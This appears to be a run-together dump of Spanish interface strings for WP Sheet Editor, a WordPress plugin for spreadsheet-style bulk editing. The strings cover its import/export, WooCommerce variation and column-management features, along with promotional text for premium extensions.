                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de 